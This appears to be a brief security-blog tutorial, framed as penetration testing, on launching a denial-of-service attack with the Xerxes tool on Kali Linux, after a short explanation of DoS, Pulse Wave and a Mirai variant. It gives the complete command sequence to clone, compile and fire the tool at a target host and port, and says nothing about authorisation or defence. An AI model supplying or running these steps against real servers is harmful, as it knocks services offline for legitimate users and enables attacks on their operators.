XERXES – Penetration Testing with Most Powerful Tool For DoS Attack using Kali Linux

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In this Kali Linux Tutorial, we show you how to use Xerxes in launching a DOS attack. DDOS tools are capable of putting heavy loads on HTTP servers and bring them to their knees by exhausting its resources.

What is DOS attack?

Type of attack which floods servers or networks which results in making the source inaccessible for the legitimate users.

Recently hackers introduced a new pattern of DDOS attack named Pulse wave which is capable of pin down Multiple targets, Pulse Wave doesn’t have ramp-up period as like classic DDoS attack all the sources are committed once and continued over its duration.

Also Read Inviteflood- Tool Used to Perform DOS attack on VOIP Network

Also, the Mirai bot which used in targeting a College in the US, lasts for more than 54 Hours continuously and researchers believe it is a new variant of Mirai, one that is “more adept at launching application layer assaults.”

Xerxes – Kali Linux Tutorial

This tool was committed on Github by zanyarjamal, it is one of the simple and most powerful DOS tools. To clone the tool from Github.

git clone https://github.com/zanyarjamal/xerxes.git

Then navigate to the cloned folder.

cd xerxes

Next, You Should compile with GNU GCC compiler

gcc xerxes.c -o xerxes

To launch the attack

./xerxes example.com 80

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